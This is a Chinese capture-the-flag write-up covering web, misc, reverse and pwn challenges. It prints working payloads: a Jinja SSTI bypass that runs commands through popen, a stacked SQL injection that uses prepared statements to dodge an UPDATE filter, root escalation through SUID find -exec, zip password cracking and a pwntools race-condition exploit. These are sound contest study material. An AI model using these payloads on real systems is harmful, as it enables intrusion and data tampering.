前言

PS:后面题目做出来的比较少,其它方向的题解可以参考网上别的师傅写的wp。misc写的很详细,各位师傅们可以看看

第三周解题情况:

国庆没做题 光顾着玩了。8号那天回学校做的题 貌似就做了一天,还可以= =

Web

Web1.BabySSTI_One

ssti类型的第一题,要求我们传参name,先传入{{7*7}}发现解析

尝试构造’’.__class__.__base__.__subclasses来引用os函数,但是发现关键词class、base这些被ban了


绕过方法是用+号拼接”__cla”+”ss__“这样,然后每个类用[]包括起来

payload:

{{""["__cla"+"ss__"]["__ba"+"se__"]["__subc"+"lasses__"]()}}


这样的情况是因为类被网页解析了导致不显示,我们可以ctrl+u打开源代码看有哪些类


os在第117个类,引用os并构造

["__in"+"it__"]["__glo"+"bals__"]['popen']('ls').read()

,通过引用os模块的popen函数来RCE


成功命令执行,用ls /看下flag在哪


尝试输入cat /flag_in_here

然后发现cat和flag都被关键词过滤了

绕过的姿势就是用tac和*号匹配:tac /fla*

最终payload:

?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subc"+"lasses__"]()[117]["__in"+"it__"]["__glo"+"bals__"]['popen']('tac /fla*').read()}}

Web2.multiSQL


题目查询点存在堆叠注入,要求我们分数达到425分以上,满足条件后访问verify.php即可获得flag

因此我们需要用到update函数来改某个表的某个字段为425以上,再访问就可以得到flag

因为select被过滤了,可以先用show这个查数据库,表,字段

查库:1'; show databases;#
>
english
information_schema
mysql
performance_schema
查表:1';show tables from english#
>
score
查字段:1';show columns from score;#
>
username  varchar(255)  YES
listen  int(11)  YES
read  int(11)  YES
write  int(11)  YES

显然是要修改english.score字段listen为425以上,我们可以用update创建个用户和其分数

但很不幸update被禁用了,所以这里要用预处理命令绕过,

可以参考强网杯2019随便注这道题,wp:https://blog.csdn.net/qq_45552960/article/details/103608740

用concat拼接字段从而绕过update的判断,最后执行存储的sql语句篡改表中数据

1';

SET @sql = concat("u","pdate score set username='1', listen='1000'");  //存储SQL语句

PREPARE sqla from @sql;   //预定义SQL语句

EXECUTE sqla;#  //执行预定义SQL语句

//1';SET @sql = concat("u","pdate score set username='1', listen='1000'");PREPARE sqla from @sql;EXECUTE sqla;#



Flag:flag{Ju3t_use_mo2e_t2en_0ne_SQL}

Misc

Misc1.Whats HTTP

http流量包,wireshark打开分析

你可以直接导出http包到本地,然后本地分析,也可以wireshark筛选条件分析

这里我是用wireshark筛选出来的

http.response.code==200  //筛选状态码为200的包


这个包字节比较特殊 和别的不同,追踪下这个流

一追踪下 flag这不就来了吗


base64解密下


666c61这个前缀显然是flag,所以最后16进制转换下字符串即可


复现的时候一把梭做出来的,之前咋做的忘记了呃呃

Flag:flag{4f33649d030c6778426971b54dd72ece}

Misc2.qsdz’s girlfriend 3

一个提权的题目,题目提示:

ssh连接:

ssh -p 29142 qsdz@node4.buuoj.cn

>qsdz@node4.buuoj.cn's password: Hikari

成功连接:


在/home/a2u2e发现了重要信息


(日记看哭了)

显然flag就在/root/girlfriends/Hikari

现在没有权限进入root,要想办法提权

说实话提示给的网站都没用上,根本不知道咋用。。hh

我是用find suid提权,先在/tmp文件夹下创建一个1文件

然后find 1 -exec [cmd] \;即可


可以看到现在为root权限了,flag在哪我们也知道了,之后就找文件就完事了

注意下这个-exec后面的命令不需要用引号包含 直接打就星


蚌埠住了!出题人我以后再也不乱说话了哈哈哈哈哈哈 我服啦

最后cat下这个文件得到flag

find 111 -exec cat /root/girlfriends/hasegawa_azusa \;

Misc3.WebShell!

蚁剑流量分析,wireshark分析,要求获取webshell密码 用户名和文件内容

同样http.response.code==200筛选,然后逐个分析


追踪第一个包,发现了webshell的内容

一个php函数highlight_file的样式,可以写进html看内容。但其实分析其中内容也可以看出密码了

webshell密码:n3wst4r

有了这个密码字符串那我们溯源都变得简单多了

要先想蚁剑连接都围绕eval($_POST[‘n3wst4r’])这个webshell进行,那么就有两个特征:

http字符串包含n3wst4r;请求方法为post

所以我们构造这个筛选条件:

http contains "n3wst4r" and http.request.method==POST


逐个分析即可,注意由于我们筛选的是post包,仅仅只是一个请求,只能显示其请求的参数

那么请求的回显在哪里?就需要我们追踪tcp流找这个包紧跟着的http包,那就是回显内容

比如这里我追踪第4个包(前3个包字节都只有2k多,后面的都是5k多显然后面的包是执行了命令的,所以前面可以不用看)


然后在这个流下找到了http包,打开line-based text data找到了内容


看回显内容就知道执行了ls命令,用这种方法可以直接找到命令 比较快。当然如果你逐个分析蚁剑流量的参数,各种加解密后还原了命令的内容也可以。

不过题目是让我们找用户名和机密文件的内容,那就在剩下几个包里找回显就行了

第5个包找到用户名为:www-data

第9个包找到文件内容为:Y0UAr3G00D


最后拼接下得到flag

Flag:flag{n3wst4r_www-data_Y0UAr3G00D}

Misc4.Yesec no drumsticks 3

题目提示:



一个压缩包题,有三道 做任意一道就行,这边我做的是第三道 其它两道没有做

Third:

解压得到guna.zip。

第一层:

打开压缩包:


注释告诉我们弱密码,那么直接爆破下即可。


密码为caiji,解压压缩包得到文本和新的压缩包

文本内容:


没有任何隐写,不过后面有用 先留着

第二层:


注释提示了rockyou,刚开始不知道是什么 百度下发现rockyou是kali自带的字典


copy到本地下,然后用archpr爆破即可

得到密码elamordemividaerestu 解压得到下一个压缩包

第三层:


让我们爆破密码,这里遍历下字母表用python写个字典 然后用archpr爆破

建议字母表弄个小写和数字就行了 根据后面几位的规律,写多了跑得慢而且卡

import string

table = string.ascii_lowercase + string.digits
print(table)
l = []


for a in table:
    for b in table:
        for c in table:
            for d in table:
                for e in table:
                    password = '%s%s%s%s%s_1s_sha0O'%(a,b,c,d,e)
                    l.append(password)


print(len(l))
with open('dc.txt','w') as f:
    for password in l:
        f.write(password + '\n')

运行后等待一会



得到密码yesec_1s_sha0O  (yesec_is_shabi queshi)

第四层:


还记得之前的dialogue.txt么,和这个txt CRC相同 大小相同

说明是同个文件,那么使用明文攻击。

把dialogue.txt压缩到dialogue.zip

之后archpr攻击类型选择明文,将两个压缩包分别放入


等这个密钥搜索完,直接取消就好 不知道是什么原因ARCHPR并不能直接显示密码,不过可以将恢复好的压缩包导出


解压secret.zip

第五层:


这个secret.jpg当时没看hint还分析了很久,结果跟这个图片没有任何关系,


恶趣味罢了呜呜呜

最后一层根据提示,猜测伪加密,可以手工修

这里用的zipcenop修复(这工具终于修复成功一次了!)



打开文本得到flag:


Flag:flag{I_r3ally_Want_tO_be_1I1I1}

Misc5.混沌的图像


这道题跟week1 密码学chaos那题有联系,还没看过可以看我的博客:https://www.anyiblog.top/2022/09/25/20220925/#Crypto5-chaos

提示是一段base,解密结果:

img = Image.open('flag.png')
w,h=img.size
for i in range(w):
    for j in range(h):
    (r, g, b, a) = img.getpixel((i,j))
    pic.append(r)
    pic.append(g)
    pic.append(b)

附件是一张图片


图片存在lsb隐写,stegsolve分析:


存在另一张图片。用save bin保存至新的文件


得到这张图片,同时winhex再搜索图片尾AE4260看看有没有其他数据:


发现了这个k1和k2

k1=3.5606267076894413,k2=3.9101741242346346,k=[106,80,198,220,47,18,19,230,42,202,207,196,214,132,188,190]

之前的chaos.py:


之前的给了k1,k2,k还有c,然后让我们还原flag

现在只有k1,k2还有k 没有了c。

给的hint的加密脚本还有和之前密码学chaos那道题联系之后,二者加密得到了上面这张图片

刚开始逻辑还是有点不明白,问了下出题师傅

师傅这么说了,所以说c就是这张图片,准确来说就是hint的那个脚本的pic变量。

因此我们需要提取这张图片的每个像素的R/G/B值,然后添加到列表c,再通过之前chaos的解密脚本还原flag,此时这个flag是一堆数字的列表 也就是新图片的R/G/B值,对照还原即可!

不同的地方就是之前那个解密脚本我写的是把列表中所有的数字当作ascii处理 还原flag,然后这次我刚开始写的时候也是这么做的哈哈,导致了写出来的文本一堆乱码 看不懂。

也算是深有体会了!第二天早上想到是R/G/B值 写到新图片就还原了。

这边直接贴脚本,需要注意的是提取像素和写像素这两个地方,也就是脚本的开始和末尾的地方,中间的和之前一样不变 照抄就可以了。

from PIL import Image


img = Image.open('task.png')
c = []
w,h=img.size
for i in range(w):
    for j in range(h):
        (r, g, b) = img.getpixel((i,j))
        c.append(r)
        c.append(g)
        c.append(b)
print(len(c))


sum, r, k = 0, 1, [106,80,198,220,47,18,19,230,42,202,207,196,214,132,188,190]
k1=3.5606267076894413
k2=3.9101741242346346
for i in k:
    sum += i
    r ^= i
a_1 = (sum/256) % 1
timea1 = 3 + int(1000 * a_1) % 30
b_1 = (r/256)
timeb1 = 3 + int(1000 * b_1) % 30
xc_1 = a_1 * b_1
yc_1 = (a_1 + b_1) % 1
data = (a_1, timea1, b_1, timeb1, xc_1, yc_1)
key = (k1,k2)
def LC(key, x, times, flags):
    (k1, k2) = key
    xn = []
    xn.append(x)
    if flags:
        xn.append(1 - 2 * xn[0]**2)
    else:
        xn.append(k2 * xn[0]**3 + (1 - k2)*xn[0])
    for i in range(times):
        assert xn[i]>=-1 and xn[i]<=1 and xn[i+1]>=-1 and xn[i+1]<=1
        if flags:
            xn.append((1 - 2 * xn[i]**2)*(k1 * xn[i+1]**3 + (1 - k1)*xn[i+1]))
        else:
            xn.append((k2 * xn[i]**3 + (1 - k2)*xn[i])*(1 - 2 * xn[i+1]**2))
    return xn[times + 1]
m, c = [], c
miu, omiga = [], []
ta = timea1
tb = timeb1
res = []
for flag in c:
    miu.append(LC(key, a_1, ta, 1))
    omiga.append(LC(key, b_1, tb, 0))
    res.append(((int(miu[-1] * 1000) + int(omiga[-1] * 1000))%256)^flag)
    delta = flag/256
    for i in range(3):
        y = (yc_1 + delta) % 1
        y = k1 * y**3 + (1 - k1) * y
        x = xc_1
        x = k2 * x**3 + (1 - k2) * x
    ta = 3 + int(1000 * x) % 30
    tb = 3 + int(1000 * y) % 30

#print(len(res),res[0],res[1],res[2])
n = Image.new('RGB',(w,h))
for i in range(w):
    for j in range(h):
        #print(i*30 + j*3,i*30 + j*3+1,i*30 + j*3+2)
        n.putpixel((i,j),(res[i*(h*3) + j*3],res[i*(h*3) + j*3+1],res[i*(h*3) + j*3+2]))
n.save('result.png')


'''
f = b""
for i in res:
    f += chr(i).encode()
#print(len(f))
with open('new2.txt','wb') as n:
    n.write(f)
'''

运行脚本后等待一会,得到result.png


最后lsb隐写,stegsolve提取得到flag。


Flag:flag{easy_chaos_encrypt!!!_776e6d30}

小彩蛋?

Reverse

Reverse1.Zzzzzz3333

32位,无壳。IDA分析:


告诉了我们一堆方程让我们解密arglist,然后得到arglist后带到加密程序得到flag。

byte_602168:


用到了python的z3库,刚好前些时间台州赛有一题也是用z3库解密,刚好会做。

这个z3库只要是为了帮助解密方程式,像这种多个式子的就可以拿来解密

需要注意的是这一块:


这边是一个变量自乘,不是方程式里的内容,不要将这一个写进去 会报错。

脚本:

from z3 import *
Arglist = []
for i in range(8):
    Arglist.append(BitVec("Arglist%d"%i,8))
sol = Solver()
v13 = Arglist[5]
v11 = Arglist[4]
v9 = Arglist[1]
v12 = Arglist[3]
v8 = Arglist[7]
v10 = Arglist[0]
sol.add(Arglist[3]+ 4 * Arglist[2]+ Arglist[7]+ 4 * (Arglist[3] + 4 * Arglist[2])+ 3 * (Arglist[4] + 4 * Arglist[0])+ 2 * (Arglist[5] + 4 * Arglist[6]) + 11 * Arglist[1] == 6426)
sol.add(11 * (v10 + v8 + v12) + 4 * (v13 + 2 * v11) + Arglist[2] + 45 * v9 + 7 * Arglist[6] == 9801)
sol.add(5 * v9 + 2 * (v11 + Arglist[6] + v13 + 2 * (v8 + v12) + Arglist[2] + 2 * (Arglist[6] + v13 + 2 * (v8 + v12)) + 8 * v10) == 6021)
sol.add(19 * v10 + 9 * v9 + 67 * v8 + 5 * (Arglist[2] + Arglist[6]) + 7 * (v13 + 4 * v12) + 4 * v11 == 14444)
sol.add(22 * v13 + 5 * (v11 + 2 * (v12 + v9 + 2 * v10)) + 4 * (v8 + Arglist[6]) + 6 * Arglist[2] == 7251)
sol.add(19 * v12 + 3 * (v8 + Arglist[2] + 4 * v8 + Arglist[6] + 2 * (v8 + Arglist[2] + 4 * v8)) + 4 * (v10 + v13 + v9 + 2 * (v10 + v13)) == 10054)
v9 *= 2
sol.add(7 * v10 + 17 * (v12 + v9) + 11 * (v11 + 2 * v13) + 2 * (Arglist[2] + Arglist[6] + 4 * Arglist[2] + 6 * v8) == 10735)
sol.add(Arglist[6] + v11 + 11 * Arglist[2] + 15 * (v12 + 2 * v8) + v9 + 43 * v10 + 21 * v13 == 11646)
assert sat == sol.check()
ans = sol.model()
res = ""
for i in Arglist:
    res += chr(int(str(ans[i])))
print(res)


flag = [0,0x0d,0x0d,0x0b,0x0c,0x6b,0x14,0x1e,0x1c,0x52,0x5f,0x5f,0x28,0x78,0x1d,0x3b,0x25,0x0e,3,0,0x56,0x10,0x4f,0x19]


for i in range(24):
    flag[i] = flag[i] & (ord(res[i & 7]) ^ flag[i]) | ~flag[i] & (~flag[i] ^ ~ord(res[i & 7]))
f = ""
for i in flag:
    f += chr(i)
print(f)


或者直接把key带到程序里:

Flag:flag{Zzzz333_Is_Cool!!!}

Pwn

Pwn1.cat flag

64位菜单题,多线程加sleep函数导致的漏洞

ls可以看当前目录文件 cat读取文件 editname修改name

跟进cat


如果文件存在且符合条件则执行cating函数,跟进


这个函数就是执行cat的主要函数,这里的sleep(1)按理来说程序到这里不能执行其他的命令,但由于是用线程执行 所以会导致这个sleep time在后台等待,那么在这个1s的期间就可以用edit函数功能修改name为flag,导致strcat(dest,name)原先的name变量替换成mv函数输入的东西 从而获得flag。

(如果手够快,光输入就可以得到flag)

所以首先要先cat一个存在的文件,引进到cating函数。用ls看一下


任意选一个,这里我用backdoor。

选择cat后输入backdoor,然后立刻选择mv功能输入flag


同样贴下脚本吧

from pwn import *


context.log_level='debug'


p = remote('node4.buuoj.cn',25420)


def ls():
    p.sendlineafter('==>','1')
    print(p.recv())


def cat(filename):
    p.sendlineafter('==>','2')
    p.sendlineafter('cat.',str(filename))


def mv(filename):
    p.sendlineafter('==>','3')
    p.sendlineafter('change.',str(filename))


cat('backdoor')
mv('flag')


p.interactive()